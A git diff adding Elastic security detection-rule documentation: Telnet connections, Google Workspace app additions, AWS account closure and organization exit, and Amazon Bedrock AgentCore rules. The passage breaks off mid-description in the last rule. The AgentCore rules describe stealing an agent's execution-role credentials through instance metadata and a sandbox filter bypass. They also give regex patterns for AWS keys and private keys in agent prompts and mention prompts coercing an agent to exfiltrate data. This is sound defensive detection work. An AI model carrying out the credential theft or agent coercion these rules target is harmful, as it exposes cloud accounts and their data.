diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-accepted-default-telnet-port-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-accepted-default-telnet-port-connection.asciidoc new file mode 100644 index 0000000000..b932aa3f8b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-accepted-default-telnet-port-connection.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-28-accepted-default-telnet-port-connection]] +=== Accepted Default Telnet Port Connection + +This rule detects network events that may indicate the use of Telnet traffic. Telnet is commonly used by system administrators to remotely control older or embedded systems using the command line shell. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. As a plain-text protocol, it may also expose usernames and passwords to anyone capable of observing the traffic. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* +* logs-fortinet_fortigate.log-* +* logs-pfsense.log-* +* logs-sonicwall_firewall.log-* +* logs-suricata.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Lateral Movement +* Tactic: Initial Access +* Data Source: Fortinet +* Data Source: PAN-OS +* Data Source: pfSense +* Data Source: SonicWall +* Data Source: Suricata +* Resources: Investigation Guide + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Accepted Default Telnet Port Connection* + + +Telnet, a protocol for remote command-line access, is often used in legacy systems. Its lack of encryption makes it vulnerable, allowing attackers to intercept credentials or use it as a backdoor. The detection rule identifies unencrypted Telnet traffic on port 23, flagging connections that bypass typical security measures, thus highlighting potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify the source IP address associated with the Telnet connection on port 23. Determine if the source IP is internal or external to the organization. +- Check the destination IP address to ascertain if it belongs to a critical system or a legacy device that might still use Telnet for management purposes. +- Investigate the timeline of the connection event to see if there are any patterns or repeated attempts, which could indicate a persistent threat or automated attack. +- Analyze any associated user accounts or credentials used during the Telnet session to verify if they are legitimate and authorized for remote access. +- Correlate the Telnet connection event with other security alerts or logs to identify any related suspicious activities, such as failed login attempts or unusual data transfers. +- Assess the network segment where the Telnet traffic was detected to determine if it is appropriately segmented and secured against unauthorized access. +- Consider implementing network security measures, such as disabling Telnet on devices or replacing it with secure alternatives like SSH, to prevent future unauthorized access attempts. + + +*False positive analysis* + + +- Legacy systems or devices that require Telnet for management may trigger alerts. To manage this, create exceptions for specific IP addresses or subnets known to host these systems. +- Internal network monitoring tools that use Telnet for legitimate purposes might be flagged. Identify these tools and exclude their traffic from the rule to prevent unnecessary alerts. +- Lab environments or test networks where Telnet is used for educational or testing purposes can cause false positives. Implement network segmentation and apply exceptions to these environments to reduce noise. +- Automated scripts or maintenance tasks that utilize Telnet for routine operations may be mistakenly identified. Document these tasks and whitelist their associated traffic patterns to avoid false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active Telnet sessions on the affected system to disrupt potential attacker activities. +- Conduct a thorough review of system logs and network traffic to identify any unauthorized access or data manipulation that may have occurred. +- Change all credentials that may have been exposed through Telnet traffic, prioritizing those with administrative privileges. +- Implement network segmentation to restrict Telnet access to only necessary internal systems, ensuring it is not exposed to the internet. +- Deploy encryption protocols such as SSH to replace Telnet for remote command-line access, enhancing security for remote management. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for additional security measures. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset:(fortinet_fortigate.log or network_traffic.flow + or panw.panos or pfsense.log or sonicwall_firewall.log or suricata.eve) + or event.category:(network or network_traffic)) + and event.type:(connection and not (denied or end)) + and not event.action:(Reject or client-rst or connection-denied or + connection-end or denied or deny or flow_denied or flow_dropped or + flow_terminated or network_flow or server-rst or timeout) + and not (event.action:netflow_flow and not network.packets > 1) + and not network.application:(stretchoid-scanning or traceroute) + and destination.port:23 + and (network.protocol:(telnet or not *) or data_stream.dataset:fortinet_fortigate.log) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-application-added-to-google-workspace-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-application-added-to-google-workspace-domain.asciidoc new file mode 100644 index 0000000000..1024a95d8c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-application-added-to-google-workspace-domain.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-28-application-added-to-google-workspace-domain]] +=== Application Added to Google Workspace Domain + +Detects when an administrator adds a Google Workspace Marketplace application to the domain. Adversaries with administrative access may register a malicious OAuth application to establish long-lived API access to mail, drive, and other Workspace data, maintaining persistence and enabling collection without relying on a single user password alone. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6328701?hl=en# +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Application Added to Google Workspace Domain* + + +Google Workspace Marketplace applications can request OAuth scopes to read or modify tenant data. When an administrator +adds an application at the domain level, users may be able to install or authorize it broadly, creating a durable +third-party access path. Threat actors with admin rights may add an adversary-controlled app to maintain API-based +persistence and access sensitive resources at scale. + +This rule identifies when an administrator adds a Marketplace application via the `ADD_APPLICATION` event in the +`google_workspace.admin` data stream. + + +*Possible investigation steps* + + +- Identify the initiating (actor) administrator by reviewing `user.email` or `user.name`, and note `@timestamp`. +- Identify the application added by reviewing `google_workspace.admin.application.name` and related application metadata in the raw event. +- Determine whether the change is expected and authorized: + - Validate there is an approved change request or vendor onboarding record for the application. + - If the actor account is unusual, treat the alert as higher priority until proven benign. +- Review Marketplace apps in the Google Admin console: + - Navigate to Apps > Google Workspace Marketplace apps. + - Confirm whether the application is allowed domain-wide or for specific organizational units, and review requested API scopes against least-privilege expectations. +- Search Kibana for related admin and OAuth activity: + - Find other Marketplace changes by the same actor: + ``` + data_stream.dataset: "google_workspace.admin" and user.email: "" and event.action: ("ADD_APPLICATION" or "REMOVE_APPLICATION") + ``` + - After the add, review OAuth authorizations that may indicate users or admins granting access to the app: + ``` + data_stream.dataset: "google_workspace.token" and event.action: "authorize" + ``` + - Scope for other security-weakening admin actions from the same `user.email` within the last 48 hours, such as Marketplace restriction changes, blocklist removals, or role assignments. + + +*False positive analysis* + + +- Verify the application is an approved business tool with documented vendor risk review and scope justification. +- New application rollouts during migrations or acquisitions can trigger this rule, validate timing against change windows. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the add is not clearly authorized, remove or block the application under Google Workspace Marketplace apps while the investigation proceeds. +- Revoke OAuth tokens for the application client if users have already authorized it (`Security` > Access and data control > API controls, or user token review in admin reports). +- If the initiating admin account is suspected compromised, reset credentials, revoke active sessions, and review delegated admin roles assigned to that account. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated administrator to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.action:ADD_APPLICATION + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-account-closed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-account-closed.asciidoc new file mode 100644 index 0000000000..9b1cbaa688 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-account-closed.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-28-aws-account-closed]] +=== AWS Account Closed + +Detects the closure of an AWS account via the CloseAccount API. This can be called either by the account itself (account.amazonaws.com, self-service closure) or by an AWS Organizations management account against one of its member accounts (organizations.amazonaws.com). Account closure triggers a 90-day grace period during which the account is suspended before permanent termination, and is one of the most destructive and disruptive actions available in AWS. It removes access to all resources and data in the account for the duration of the suspension. An adversary with root-level access in a member account, or management-level access to an organization, may close accounts to destroy evidence, disrupt business operations, or eliminate compute and data resources. A malicious insider could use the same action for sabotage. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/accounts/latest/reference/API_CloseAccount.html +* https://docs.aws.amazon.com/organizations/latest/APIReference/API_CloseAccount.html +* https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts_close.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Account Closed* + + +AWS account closure is one of the most destructive actions that can be performed against an AWS account. Even during +the 90-day suspension/grace period before permanent termination, the account and its resources are inaccessible. This +action requires either root credentials on the account itself, or organization-management-level permissions to close +a member account, making any unauthorized occurrence a critical security incident. + +This rule covers both closure paths: self-service closure (`event.provider: account.amazonaws.com`) and closure of a +member account initiated from the organization's management account (`event.provider: organizations.amazonaws.com`). + + +*Possible investigation steps* + + +- **Identify the actor**: review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to + determine who initiated the closure, and from which account context (the closed account itself, or the + organization's management account). +- **Determine which account was closed**: check `cloud.account.id` and `aws.cloudtrail.request_parameters` (the + organization-initiated path includes the target `AccountId`). +- **Contact the account/organization owner immediately** to confirm intent — this should never be a surprise. +- **Act within the grace period**: AWS Organizations can cancel a pending closure during the up-to-90-day suspension + window if the action was unauthorized. +- **Review the actor's other activity** immediately before and after the closure for signs of broader compromise + (credential creation, privilege escalation, log tampering). + + +*False positive analysis* + + +- Legitimate account decommissioning or consolidation will show the same event. Confirm against change-management + records and organizational restructuring plans before escalating further. + + +*Response and remediation* + + +- Contact AWS Support immediately to attempt cancellation/restoration within the grace period. +- Revoke or rotate credentials for the identity that initiated the closure, and escalate to incident response. +- Preserve all available CloudTrail logs and evidence from the affected account before access is lost. +- Review organization-level permissions to ensure `organizations:CloseAccount` and `account:CloseAccount` are + restricted to a small, trusted set of administrative identities. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.action: "CloseAccount" + and event.outcome: "success" + and event.provider: ("account.amazonaws.com" or "organizations.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-attempt-to-leave-organization.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-attempt-to-leave-organization.asciidoc new file mode 100644 index 0000000000..0d7fb75d39 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-attempt-to-leave-organization.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-28-aws-attempt-to-leave-organization]] +=== AWS Attempt to Leave Organization + +Detects any attempt, successful or denied, for a member account to leave an AWS Organization via the LeaveOrganization API. Leaving an organization immediately strips the account of every Service Control Policy (SCP) guardrail the organization enforces, removes it from centralized CloudTrail aggregation, and eliminates the management account's ability to audit or control it going forward. An adversary who has gained root or organization-management-capable access in a member account may use this technique to escape organizational security controls and operate unmonitored. Denied attempts are included because a blocked call is just as strong a signal of intent as a successful one, and is often the only trace left when the account's default permissions correctly prevent the action. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/organizations/latest/APIReference/API_LeaveOrganization.html +* https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts_remove.html +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.organizations-leave/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS Organizations +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Attempt to Leave Organization* + + +Leaving an AWS Organization removes every SCP-based guardrail from the account, cuts it off from centralized +monitoring (CloudTrail, GuardDuty, Security Hub aggregation at the organization level), and eliminates the management +account's ability to audit or control it. This is one of the most consequential defense-evasion actions available to +an adversary with sufficient access in a member account. + +This rule fires on any `LeaveOrganization` call regardless of outcome — a denied attempt (for example, `AccessDenied` +because the calling principal lacks the permission) is still a critical indicator that someone attempted this action. + + +*Possible investigation steps* + + +- **Identify the actor**: review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` — + only root or a principal with an explicit `organizations:LeaveOrganization` grant can succeed at this. +- **Check the outcome**: if `event.outcome` is `success`, treat this as an active, ongoing incident — the account has + already left the organization. If denied, determine why the attempt was made and whether the same actor has + broader access that could be escalated to succeed. +- **Review source context**: check `source.ip`, `user_agent.original`, and `source.geo` for anomalies. +- **Correlate with other defense evasion or persistence activity**: look for recent IAM changes (new roles, policy + attachments), root login events, or other attempts to shed organizational oversight around the same time. +- **Contact the account and organization owners immediately** to confirm whether this was an authorized, planned + departure. + + +*False positive analysis* + + +- Legitimate organizational restructuring (account divestiture, company split) can trigger this. Confirm with + organization administrators and require documented change management before treating as benign. + + +*Response and remediation* + + +- If successful and unauthorized, use `InviteAccountToOrganization` from the management account to re-invite the + departed account as soon as possible, and treat the account as compromised in the interim. +- If denied, investigate how the calling principal obtained enough access to attempt this at all, and whether it can + reach the required permission through another path (privilege escalation). +- Revoke or rotate credentials for the identity that made the call. +- Review the account's activity for the period immediately before and after the attempt for other compromise + indicators. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "organizations.amazonaws.com" + and event.action: "LeaveOrganization" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-agentcore-execution-role-used-outside-its-runtime.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-agentcore-execution-role-used-outside-its-runtime.asciidoc new file mode 100644 index 0000000000..2ab9c21907 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-agentcore-execution-role-used-outside-its-runtime.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-28-aws-bedrock-agentcore-execution-role-used-outside-its-runtime]] +=== AWS Bedrock AgentCore Execution Role Used Outside Its Runtime + +Identifies an Amazon Bedrock AgentCore execution role (an AssumedRole identity whose role name begins with "AgentCore-" or contains "BedrockAgentCore") making an AWS API call to a service it has not previously called. AgentCore runtimes normally interact only with Bedrock inference, AgentCore data-plane, and observability services (CloudWatch Logs, X-Ray, CloudWatch metrics), so an execution role suddenly calling STS, EC2, IAM, Secrets Manager, or other services is a strong indicator that the role's temporary credentials were exfiltrated from the agent's microVM (for example, via the Code Interpreter instance-metadata-service credential theft) and are being used outside the runtime for reconnaissance, privilege escalation, or lateral movement. Because the stolen credentials are recorded in CloudTrail under the execution role's own identity, the anomalous service usage, not the identity, is the detectable signal. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/ +* https://unit42.paloaltonetworks.com/bypass-of-aws-sandbox-network-isolation-mode/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock AgentCore Execution Role Used Outside Its Runtime* + + +AgentCore runtime and tool execution roles are assumed by the AgentCore service and normally only call Bedrock inference, AgentCore data-plane, and observability (CloudWatch Logs, X-Ray, CloudWatch metrics) APIs, all of which this rule excludes. Public research has shown the Code Interpreter microVM exposes the execution role's temporary credentials through the instance metadata service (IMDS), and that a string-filter bypass allows exfiltrating them outside the sandbox. Once stolen, the credentials are used to call other AWS services, but those calls are logged in CloudTrail under the execution role's identity rather than the attacker's, creating an attribution gap. This rule flags the first time an AgentCore execution role ("AgentCore-*" or "*BedrockAgentCore*") calls a non-Bedrock service, which is the point at which exfiltrated credentials are put to use. + + +*Possible investigation steps* + + +- Identify the execution role in "aws.cloudtrail.user_identity.session_context.session_issuer.arn" and map it to its AgentCore runtime, gateway, or code interpreter. +- Review "event.provider" and "event.action" for reconnaissance (sts:GetCallerIdentity, ec2:Describe*, iam:List*/Get*), privilege escalation (sts:AssumeRole, iam:Put*/Attach*), or data access, and assess what the role can reach. +- Compare "source.ip", "source.as.organization.name", and "user_agent.original" against the AgentCore service origin; calls from an external network strongly indicate exfiltrated credentials. +- Determine whether the agent design legitimately added this integration, or whether the activity is unexpected for the role. + + +*False positive analysis* + + +- A newly designed agent integration produces a first-time non-Bedrock call for its execution role. Confirm the integration is approved and exclude the role and service after validation. + + +*Response and remediation* + + +- If unauthorized, revoke the execution role's active sessions, rotate any associated secrets, and review every action the role took since the first anomalous call. +- Restrict the execution role to least privilege, prefer VPC network mode for code interpreters, and ensure the metadata service requires session tokens. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. The AgentCore execution-role name prefix may differ in your environment; tune the role-name filter accordingly. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and aws.cloudtrail.user_identity.type: "AssumedRole" + and aws.cloudtrail.user_identity.session_context.session_issuer.arn: (*role/AgentCore-* or *role/*BedrockAgentCore*) + and event.outcome: "success" + and not event.provider: ( + "bedrock.amazonaws.com" or + "bedrock-runtime.amazonaws.com" or + "bedrock-agentcore.amazonaws.com" or + "bedrock-agentcore-control.amazonaws.com" or + "logs.amazonaws.com" or + "xray.amazonaws.com" or + "monitoring.amazonaws.com" or + "ecr.amazonaws.com" or + "ecr-public.amazonaws.com" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-agentcore-runtime-prompt-containing-credentials.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-agentcore-runtime-prompt-containing-credentials.asciidoc new file mode 100644 index 0000000000..0c61a7a5d9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-agentcore-runtime-prompt-containing-credentials.asciidoc @@ -0,0 +1,110 @@ +[[prebuilt-rule-8-19-28-aws-bedrock-agentcore-runtime-prompt-containing-credentials]] +=== AWS Bedrock AgentCore Runtime Prompt Containing Credentials + +Identifies prompts sent to an Amazon Bedrock AgentCore runtime that contain AWS access key identifiers (AKIA long-term or ASIA temporary/STS), Amazon Bedrock API keys (ABSK bearer tokens), or PEM-encoded private keys. The runtime application logs record the caller-supplied prompt; credentials embedded in a prompt are exposed to the model provider, persisted in observability logs, and may be returned in completions or used by downstream tools. This commonly indicates accidental secret leakage by a user or application, or an attempt to stage credentials for misuse through the agent. Secrets should never be passed to an agent in clear text. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/observability.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock AgentCore Runtime Prompt Containing Credentials* + + +Amazon Bedrock AgentCore runtime application logs capture the prompt supplied to the agent. When that prompt contains an AWS access key (AKIA/ASIA) or a PEM private key, the secret is exposed to the model provider and stored in observability logs, and it may be echoed in completions or consumed by the agent's tools. This usually reflects accidental leakage but can also be an attempt to stage credentials for abuse through the agent. + + +*Possible investigation steps* + + +- Review "aws.bedrock_agentcore.request_payload.prompt" to identify the credential material and determine whether it is live. +- Identify the agent in "aws.bedrock_agentcore.agent_name"/"aws.bedrock_agentcore.resource_arn" and the conversation in "aws.bedrock_agentcore.session_id"; review surrounding prompts in the session. +- Determine the source application or identity invoking the runtime and whether passing secrets was intentional. +- If the key is an AWS access key, identify the IAM principal it belongs to and review its recent activity in CloudTrail for misuse. + + +*False positive analysis* + + +- Sample or documentation key material can match. Confirm whether the credential is live before escalating. + + +*Response and remediation* + + +- If the credential is live, rotate or revoke it immediately and review its activity for unauthorized use. +- Remove the secret from any retained logs or conversation stores where feasible, and notify the owning team. +- Educate users and applications to never pass secrets to agents in clear text, and consider input filtering or guardrails that block credential patterns. + + +==== Setup + + +This rule requires Amazon Bedrock AgentCore runtime application logs collected via the Elastic AWS Bedrock AgentCore integration (observability logs delivered to S3 and ingested into the aws_bedrock_agentcore.runtime_application_logs dataset). See https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/observability.html for enabling AgentCore observability. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock_agentcore.runtime_application_logs-* metadata _id, _version, _index +| where aws.bedrock_agentcore.operation == "InvokeAgentRuntime" and ( + aws.bedrock_agentcore.request_payload.prompt rlike """.*(AKIA|ASIA)[A-Z0-9]{16}.*""" + or aws.bedrock_agentcore.request_payload.prompt rlike """.*-----BEGIN [A-Z ]*PRIVATE KEY-----.*""" + or aws.bedrock_agentcore.request_payload.prompt rlike """.*ABSK[A-Za-z0-9+/=]{20}.*""" + or aws.bedrock_agentcore.request_payload.prompt rlike """.*bedrock-api-key-[-A-Za-z0-9+/=._~:]{20,}.*""" + ) +| keep _id, _version, _index, @timestamp, aws.*, cloud.*, event.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-agentcore-runtime-prompt-targeting-credentials-or-instance-metadata.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-agentcore-runtime-prompt-targeting-credentials-or-instance-metadata.asciidoc new file mode 100644 index 0000000000..6df98963c8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-agentcore-runtime-prompt-targeting-credentials-or-instance-metadata.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-28-aws-bedrock-agentcore-runtime-prompt-targeting-credentials-or-instance-metadata]] +=== AWS Bedrock AgentCore Runtime Prompt Targeting Credentials or Instance Metadata + +Identifies prompts sent to an Amazon Bedrock AgentCore runtime that attempt to harvest credentials or coerce the agent into exfiltrating data. The runtime application logs capture the caller-supplied prompt; this 